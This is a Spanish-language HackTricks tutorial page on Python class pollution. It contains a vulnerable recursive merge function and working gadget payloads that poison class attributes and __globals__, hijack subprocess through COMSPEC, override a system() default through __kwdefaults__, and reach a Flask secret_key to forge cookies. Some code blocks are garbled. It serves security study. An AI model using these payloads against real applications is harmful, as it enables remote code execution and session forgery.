Class Pollution (Python's Prototype Pollution)
Apoya a HackTricks
Revisa los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Ejemplo Básico
Verifica cómo es posible contaminar clases de objetos con cadenas:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
Ejemplo Básico de Vulnerabilidad
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Ejemplos de Gadget
Creando un valor predeterminado de propiedad de clase para RCE (subproceso)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Contaminando otras clases y variables globales a través de <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Ejecución arbitraria de subprocesos
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Sobrescribiendo <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** es un atributo especial de todas las funciones, según la [documentación de Python](https://docs.python.org/3/library/inspect.html), es un "mapeo de cualquier valor predeterminado para parámetros **solo de palabras clave**". Contaminar este atributo nos permite controlar los valores predeterminados de los parámetros solo de palabras clave de una función, que son los parámetros de la función que vienen después de \* o \*args.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Sobrescribiendo el secreto de Flask a través de archivos
Entonces, si puedes hacer una contaminación de clase sobre un objeto definido en el archivo principal de Python de la web pero cuya clase está definida en un archivo diferente al principal. Debido a que para acceder a __globals__ en las cargas útiles anteriores necesitas acceder a la clase del objeto o a los métodos de la clase, podrás acceder a los globales en ese archivo, pero no en el principal. Por lo tanto, no podrás acceder al objeto global de la aplicación Flask que definió la clave secreta en la página principal:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
En este escenario necesitas un gadget para recorrer archivos y llegar al principal para acceder al objeto global app.secret_key
y poder escalar privilegios conociendo esta clave.
Un payload como este de este writeup:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Utiliza este payload para cambiar app.secret_key
(el nombre en tu aplicación podría ser diferente) para poder firmar nuevas y más privilegiadas cookies de Flask.
Consulta también la siguiente página para obtener más gadgets de solo lectura:
Python Internal Read GadgetsReferencias
Apoya a HackTricks
¡Consulta los planes de suscripción!
Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
Comparte trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Last updated